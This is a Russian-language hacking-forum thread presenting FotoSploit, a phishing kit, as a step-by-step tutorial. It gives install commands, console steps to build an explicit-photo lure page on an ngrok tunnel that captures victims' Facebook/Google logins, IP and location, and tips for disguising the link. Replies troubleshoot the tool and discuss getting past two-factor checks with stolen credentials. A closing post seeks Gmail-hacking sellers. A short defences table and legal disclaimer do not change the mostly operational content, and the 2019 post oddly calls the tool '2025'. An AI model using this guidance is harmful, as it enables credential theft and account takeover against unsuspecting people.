ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Инструменты (https://forum.antichat.xyz/forumdisplay.php?f=176)
-   -   Атака через FotoSploit: пошаговое руководство по фишингу с превью-фото (https://forum.antichat.xyz/showthread.php?t=1630031)

Vertigo 06.12.2019 21:31
https://forum.antichat.xyz/attachmen...638407d2dc.png

Приветствую, Друзья и Форумчане!

Сегодня разберём FotoSploit — свежий (2025) инструмент от испанца Cesar-Hack-Gray для проведения фишинговых атак + социальной инженерии против аккаунтов Facebook / Google.
Цитата:

Информация предоставлена исключительно для обучения и анализа уязвимостей. Любое несанкционированное применение подпадает под ст. 272 УК РФ / Computer Misuse Act / GDPR.
Что под капотом
  • Ядро: старый добрый SocialFish с доработками под
    Код:
    php
    и автоматическим туннелированием через ngrok.
  • Лут: IP-адрес жертвы, HTTP headers (User-Agent), примерные Geo-координаты по GeoIP, плюс логин/пароль, если пользователь введёт их на поддельной форме.
  • Фишка: «кликабельное откровенное фото» (JPG ≤ 500 KB) с заманчивым описанием и редиректом на реальный YouTube/Facebook, чтобы не вызвать подозрений.
Быстрая установка
Arch Linux / Manjaro

Код:


Код:
# git clone https://github.com/Cesar-Hack-Gray/FotoSploit.git
# mv FotoSploit /root/
# cd /root/FotoSploit
# chmod +x install.sh FotoSploit
# bash install.sh
# ./FotoSploit
Termux (Android)

Код:


Код:
pkg update && pkg upgrade -y
pkg install -y php python2 git
cd $HOME
git clone https://github.com/Cesar-Hack-Gray/FotoSploit
cd FotoSploit
bash install.sh
./FotoSploit
Подготовка поля боя
  1. ngrok
    • Если бинари не встали автоматически — качаем под свою архитектуру и кидаем в каталог инструмента (
      Код:
      FotoSploit/ngrok
      ).
  2. Приманка-фото
    • Любой JPG ≤ 500 KB (разрешение не критично, но 430 × 430 px — оптимум).
    • Кладём в
      Код:
      /root/
      или
      Код:
      $HOME/FotoSploit
      (см.
      Код:
      foto
      параметр).
  3. Тест-аккаунт
    • Используем песочницу, чтобы не «стрельнуть» по продакшен-учётке.
Стартуем атаку

Код:


Код:
> show options
> set foto /root/pic.jpg
> set title "Моё откровенное фото здесь"
> set view YOUTUBE    # либо FACEBOOK
> show options        # проверяем
> go
https://forum.antichat.xyz/attachmen...6bc8be78e2.png
  • Дожидаемся, пока скрипт прогрузит картинку без ошибок.
  • Получаем ссылку вида
    Код:
    https://hbhg2fg1.ngrok.io/id=1.php
    .
  • Лайфхак: обфусцируйте URL (bit.ly, рекламный редирект, Base64 и т.д.), чтобы он выглядел правдоподобно.
Когда жертва переходит по ссылке, видит заставку 18+ и форму логина. Пока «тело думает», на вашей консоли уже лежат IP, User-Agent и гео-данные:

https://forum.antichat.xyz/attachmen...d9b0a1da6b.png

Если жертва всё же авторизуется — логин+пароль записываются в
Код:
sites/credentials.txt
, а она попадает на реальный YouTube-канал:

https://forum.antichat.xyz/attachmen...0424615a5f.png

Как это детектировать и отбиться

Техника защитыСуть2FA / FIDO2Даже при краже пароля злоумышленник не пройдёт второй фактор.Проверка URLОфициальные Facebook/Google-адреса всегда .com/ без
Код:
ngrok
, bit.ly и лишних параметров.Браузер-алертыChrome/Edge помечают HTTP-формы «Небезопасно».Блокировка ngrokWAF или адресные ACL на
Код:
*.ngrok.io
.Тренинги по фишингуРаз в квартал прогоняйте сотрудников через simulated-phish-кампании.

Юридический момент
  • РФ: несанкционированный доступ (ст. 272 УК), до 6 лет лишения свободы.
  • ЕС: директива 2013/40/EU + GDPR (штрафы до 20 млн € или 4 % оборота).
  • Pen-test ≠ взлом: нужен письменный договор и чёткое согласие владельца системы.
Итоги
  • FotoSploit — удобный конструктор фейковых страниц, но ничего принципиально нового: SocialFish + ngrok + JPG-приманка.
  • Полезен только в рамках легального Red Team/Phishing-Simulation с согласием заказчика.
  • Защититься помогают базовые меры — 2FA, фильтрация туннелей и здравый смысл пользователя.
Будьте этичными. Знание атаки — первый шаг к обороне.

До новых встреч, всем удачи и безопасных дорог в сети!

swen8819 07.12.2019 02:59
Только Фейсбук и Гугл?? Вк например ??

x1me 07.12.2019 23:15
Цитата:

swen8819 сказал(а):

Только Фейсбук и Гугл?? Вк например ??
Вроде как можно, если веб часть переписать под вк. Еще исходники нужны FotoSploit

BF-107 08.12.2019 12:01
Обсуждение есть на телеге.

rapira 09.12.2019 21:55
Не прикрепляет фото и ngrok выдает ссылку на localhost. Тестил на kali и parrot. Или лыжи не едут, или что-то с руками

rubberducky 10.12.2019 18:13
Идея зачетная, но зачем все так усложнять? Не легче ли самим прописать несколько строчек open graph на фишере?

f22 12.12.2019 23:16
Цитата:

Vertigo сказал(а):

Теперь смотрите,здесь ещё один секрет для Linux:
чтобы она отработала как положено,её приводим к виду
Код:
https://hbhg2fg1.ngrok.io/id=1.php
Можно сделать ещё красивее:
Сайт iplogger.org
На нём есть сервис, который сокращает ссылки
Самое интересное, что можно в конце ссылки указать "расширение",

приведя ссылку, например, к виду

Яндекс

Найдётся всё

iplis.ru

LTD 14.12.2019 22:23
Привет! При попытке установить фото:

https://forum.antichat.xyz/attachmen...4a6a9bbfea.png

Vertigo 15.12.2019 11:40
Цитата:

Rapira сказал(а):

Не прикрепляет фото и ngrok выдает ссылку на localhost. Тестил на kali и parrot.
На Kali nethunter по идее должен работать,на стандартной Kali может не пойти.
Parrot обновлённый тоже может не потянуть из-за версий установочных пакетов.
Цитата:

LTD сказал(а):

Привет! При попытке установить фото:
скрипт ngrok попробуйте скопировать в директорию bin

LTD 15.12.2019 14:17
Цитата:

Vertigo сказал(а):

скрипт ngrok попробуйте скопировать в директорию bin
Помогло, но теперь фото не хочет грузить. 3 разных варианта, разных размеров до 430х430. В чём косяк?(

https://forum.antichat.xyz/attachmen...f206740cf8.png

zhenyoker 16.12.2019 21:39
а зачем логин и пароль от гугла или фб, если при их вводе в гугле 99% запросит проверку а на фб 90%? нужна же куки сессия. или я чего-то не знаю?

f22 16.12.2019 22:26
Цитата:

zhenyoker сказал(а):

а зачем логин и пароль от гугла или фб, если при их вводе в гугле 99% запросит проверку а на фб 90%? нужна же куки сессия. или я чего-то не знаю?
А что мешает скрипту эту сессию поднять, авторизовавшись с указанными данными?
Та проверка, о которой ты говоришь, появится уже после введения "жертвой" логина и пароля.
Так что даже, если она откажется от подтверждения, данные к тому времени уже утекут.

Если ты имеешь в виду дальнейшую авторизацию, то ничто не мешает найти нужные прокси в нужной стране,
или авторизоваться через какие-то другие сервисы.

zhenyoker 17.12.2019 18:21
Цитата:

f22 сказал(а):

А что мешает скрипту эту сессию поднять, авторизовавшись с указанными данными?
Та проверка, о которой ты говоришь, появится уже после введения "жертвой" логина и пароля.
Так что даже, если она откажется от подтверждения, данные к тому времени уже утекут.

Если ты имеешь в виду дальнейшую авторизацию, то ничто не мешает найти нужные прокси в нужной стране,
или авторизоваться через какие-то другие сервисы.
Я имею ввиду дальнейшую авторизацию. Но прокси нормальные еще поискать надо. А что за другие сервисы для авторизации для гугла например?

f22 17.12.2019 22:53
Цитата:

zhenyoker сказал(а):

Я имею ввиду дальнейшую авторизацию. Но прокси нормальные еще поискать надо. А что за другие сервисы для авторизации для гугла например?
Ты же видишь сколько сейчас сервисов у гугла: и youtube, и календарь, и таблицы, и много чего ещё.
Вполне возможно, что сейчас или потом при входе в один из них получится авторизоваться без дополнительной проверки.
Другой вариант - это возможность использования тех же учетных данных для совсем иного сервиса, где не требуется проверка вообще.

LTD 17.12.2019 23:02
ТС, окажи милость, дай подсказку)

zhenyoker 17.12.2019 23:06
Цитата:

f22 сказал(а):

Ты же видишь сколько сейчас сервисов у гугла: и youtube, и календарь, и таблицы, и много чего ещё.
Вполне возможно, что сейчас или потом при входе в один из них получится авторизоваться без дополнительной проверки.
Другой вариант - это возможность использования тех же учетных данных для совсем иного сервиса, где не требуется проверка вообще.
авторизация на сервисах идет через одну и ту же форму.
А пароль сейчас вообще будет сложно получить, с последним обновлением хрома они вроде как хешируют поле пароля, и на прозрачном прокси виден только хэш. Такая вот защита от фишинга

Vertigo 18.12.2019 03:46
Цитата:

LTD сказал(а):

ТС, окажи милость, дай подсказку)
Да если бы я знал решение проблем,поэтому и молчу сижу.)
Капризный инструмент.На BlackArch заводится легко,но бывает ,что придирается к файлам-картинкам,или не прогружает их с первого раза.
Пробуйте его переустановить сразу в директорию root ,ngrok он сам должен установить в свою директорию.
Автор 3 дня назад вносил изменения,пофиксил некоторые ошибки,но просто сам скрипт всё-таки создан для termux.

f22 18.12.2019 11:26
Цитата:

zhenyoker сказал(а):

авторизация на сервисах идет через одну и ту же форму.
Речь не о форме. Ты можешь подключаться к сервисам не только через браузер, но и через телефон, телевизор и черт знает что ещё.
А какая реализация этого подключения есть и будет там неизвестно.
В любом случае это один из векторов атаки, использовать тебе его или нет, решай сам.

Цитата:

zhenyoker сказал(а):

последним обновлением хрома они вроде как хешируют поле пароля, и на прозрачном прокси виден только хэш.
А как сайт, к которому обращается браузер, поймёт что это хеш, а не пароль?
На большинстве сайтов идёт авторизация по паролю, а не по хешу...
И не обязательно пользователь использует chrome, есть и другие браузеры.

zhenyoker 18.12.2019 12:02
Цитата:

f22 сказал(а):

Речь не о форме. Ты можешь подключаться к сервисам не только через браузер, но и через телефон, телевизор и черт знает что ещё.
А какая реализация этого подключения есть и будет там неизвестно.
В любом случае это один из векторов атаки, использовать тебе его или нет, решай сам.

А как сайт, к которому обращается браузер, поймёт что это хеш, а не пароль?
На большинстве сайтов идёт авторизация по паролю, а не по хешу...
И не обязательно пользователь использует chrome, есть и другие браузеры.
наверное речь идет о самых популярных(гугл, фб, ... По аналогии с HSTS, где они уже вшиты в браузер) ну хром самый популярный, по моей статистике. Возможно остальные потом присоединятся

Qwerty1234567890 12.04.2020 22:59
Да ребят это лучший способ фишинга который я встречал, только плохо что по ip правильно только страну показывает а так все идеально
Совет: чтобы фотка прогружалась нужно обрезать ее в галерее до размера ниже 430x430, ещё когда я впервые запускал скрипт у меня была ошибка типа "invaldo red social " я не знал что делать
Нужно ввести set red social --help

Enima 30.04.2020 03:07
Цитата:

Qwerty1234567890 сказал(а):

Да ребят это лучший способ фишинга который я встречал, только плохо что по ip правильно только страну показывает а так все идеально
Совет: чтобы фотка прогружалась нужно обрезать ее в галерее до размера ниже 430x430, ещё когда я впервые запускал скрипт у меня была ошибка типа "invaldo red social " я не знал что делать
Нужно ввести set red social --help
а дальше что? не грузится((( фото

Oleg-_- 01.09.2021 14:57
Всем привет. Помогите пж, обрезал фото до 430x430, потом намного меньше, менял расширение. Первый раз когда поставил сразу фото добавлялось, но не был настроен ngrok, сейчас же я настроил ngrok, но фото не хочет добавляться. Что делать?

Цитата:

Oleg-_- сказал(а):

Всем привет. Помогите пж, обрезал фото до 430x430, потом намного меньше, менял расширение. Первый раз когда поставил сразу фото добавлялось, но не был настроен ngrok, сейчас же я настроил ngrok, но фото не хочет добавляться. Что делать?
первый раз я имею ввиду я ставил прогу FotoSploit, потом пришлось удалить Termux.

TalleyrandCharles 06.12.2024 22:21
Приветсвую.
Ищу специалистов по взлому Gmail и других зарубежных почтовых сервисов.

Поделитесь пожалуйста, кто владеет информацией.
Ссылку на профиль или топик селера.


Время: 10:33